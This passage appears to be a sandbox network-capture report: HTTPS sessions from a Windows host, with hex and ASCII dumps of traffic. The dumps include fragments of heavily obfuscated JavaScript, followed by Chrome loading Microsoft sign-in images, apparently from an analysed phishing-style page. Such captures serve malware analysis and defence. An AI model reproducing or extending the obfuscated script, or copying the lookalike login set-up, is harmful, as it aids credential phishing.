2024-10-01 10:21:06 UTC	8184	IN	Data Raw: 30 78 37 36 64 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 39 31 63 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 64 34 38 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 64 62 61 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 66 35 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 37 62 34 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 32 62 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 39 32 39 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 39 65 35 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 39 62 32 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 33 64 64 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 38 37 30 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 32 64 64 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 33 62 36 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 39 31 64 29 2b Data Ascii: 0x76d)+_0x37e3cd(0x191c)+_0x37e3cd(0xd48)+_0x37e3cd(0xdba)+_0x37e3cd(0xf51)+_0x37e3cd(0x17b4)+_0x37e3cd(0x12b3)+_0x37e3cd(0x1929)+_0x37e3cd(0x29e5)+_0x37e3cd(0x19b2)+_0x37e3cd(0x13dd)+_0x37e3cd(0x2870)+_0x37e3cd(0x12dd)+_0x37e3cd(0x3b6)+_0x37e3cd(0x191d)+
2024-10-01 10:21:06 UTC	8184	IN	Data Raw: 30 78 33 37 65 33 63 64 28 30 78 32 64 63 37 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 36 61 30 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 66 34 39 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 61 36 64 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 37 32 61 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 62 61 38 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 39 66 36 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 34 61 30 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 31 37 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 30 34 32 29 29 2b 28 5f 30 78 33 37 65 33 63 64 28 30 78 32 32 61 32 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 39 33 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 36 61 30 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 62 38 30 29 2b 5f 30 78 33 37 65 Data Ascii: 0x37e3cd(0x2dc7)+_0x37e3cd(0x26a0)+_0x37e3cd(0x1f49)+_0x37e3cd(0xa6d)+_0x37e3cd(0x72a)+_0x37e3cd(0xba8)+_0x37e3cd(0x19f6)+_0x37e3cd(0x24a0)+_0x37e3cd(0x1171)+_0x37e3cd(0x2042))+(_0x37e3cd(0x22a2)+_0x37e3cd(0x1933)+_0x37e3cd(0x26a0)+_0x37e3cd(0xb80)+_0x37e
2024-10-01 10:21:06 UTC	8184	IN	Data Raw: 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 30 61 63 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 63 61 34 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 62 39 66 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 34 65 66 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 65 34 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 33 61 62 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 34 33 62 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 62 64 34 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 65 34 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 33 61 62 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 61 38 63 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 32 36 35 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 35 33 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 37 36 35 29 2b 5f 30 78 33 37 65 Data Ascii: 1)+_0x37e3cd(0x10ac)+_0x37e3cd(0x2ca4)+_0x37e3cd(0x1b9f)+_0x37e3cd(0x14ef)+_0x37e3cd(0xe43)+_0x37e3cd(0x3ab)+_0x37e3cd(0x43b)+_0x37e3cd(0xbd4)+_0x37e3cd(0xe43)+_0x37e3cd(0x3ab)+_0x37e3cd(0x1a8c)+_0x37e3cd(0x2265)+_0x37e3cd(0x1533)+_0x37e3cd(0x1765)+_0x37e
2024-10-01 10:21:06 UTC	8184	IN	Data Raw: 78 32 61 38 36 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 62 39 63 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 30 35 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 34 61 62 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 62 39 34 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 63 64 62 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 66 66 61 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 33 37 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 32 64 30 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 64 36 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 36 36 39 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 66 39 39 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 61 61 34 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 66 65 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 36 38 66 29 2b 5f 30 78 Data Ascii: x2a86)+_0x37e3cd(0x1b9c)+_0x37e3cd(0x1051)+_0x37e3cd(0x14ab)+_0x37e3cd(0x1b94)+_0x37e3cd(0xcdb)+_0x37e3cd(0xffa)+_0x37e3cd(0x237)+_0x37e3cd(0x22d0)+_0x37e3cd(0x2d6)+_0x37e3cd(0x2669)+_0x37e3cd(0xf99)+_0x37e3cd(0x1aa4)+_0x37e3cd(0x1fe)+_0x37e3cd(0x68f)+_0x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49735	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:07 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-01 10:21:08 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=195882 Date: Tue, 01 Oct 2024 10:21:08 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49737	13.107.246.44	443	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:09 UTC	602	OUT	GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 10:21:09 UTC	737	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 10:21:09 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 02 Nov 2018 20:25:25 GMT ETag: 0x8D6410152A9D7E1 x-ms-request-id: f7b3aa4f-b01e-0014-0feb-13fc86000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241001T102109Z-15767c5fc55rv8zjq9dg0musxg00000007ug000000009qw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-01 10:21:09 UTC	15647	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-10-01 10:21:09 UTC	1527	IN	Data Raw: 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 Data Ascii: @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49738	13.107.246.44	443	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:09 UTC	618	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 10:21:09 UTC	805	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 10:21:09 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 34b277ac-c01e-0021-01a4-139092000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241001T102109Z-15767c5fc554wklc0x4mc5pq0w000000087g000000006f2s x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-01 10:21:09 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49736	152.199.21.175	443	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:09 UTC	619	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 10:21:09 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 16480699 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Tue, 01 Oct 2024 10:21:09 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7905) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d3446af8-801e-0093-5307-7ec057000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-10-01 10:21:09 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49739	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:09 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-01 10:21:09 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=195825 Date: Tue, 01 Oct 2024 10:21:09 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-01 10:21:09 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49741	13.107.246.60	443	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:09 UTC	418	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 10:21:09 UTC	784	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 10:21:09 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 34b277ac-c01e-0021-01a4-139092000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241001T102109Z-15767c5fc554w2fgapsyvy8ua000000007ag00000000bdts x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-01 10:21:09 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49743	13.107.246.60	443	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:10 UTC	402	OUT	GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 10:21:10 UTC	757	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 10:21:10 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 02 Nov 2018 20:25:25 GMT ETag: 0x8D6410152A9D7E1 x-ms-request-id: f7b3aa4f-b01e-0014-0feb-13fc86000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241001T102110Z-15767c5fc55n4msds84xh4z67w00000001pg000000001p8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-01 10:21:10 UTC	15627	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-10-01 10:21:10 UTC	1547	IN	Data Raw: 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49745	152.199.21.175	443	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:11 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 10:21:12 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 16480702 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Tue, 01 Oct 2024 10:21:12 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7905) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d3446af8-801e-0093-5307-7ec057000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-10-01 10:21:12 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data 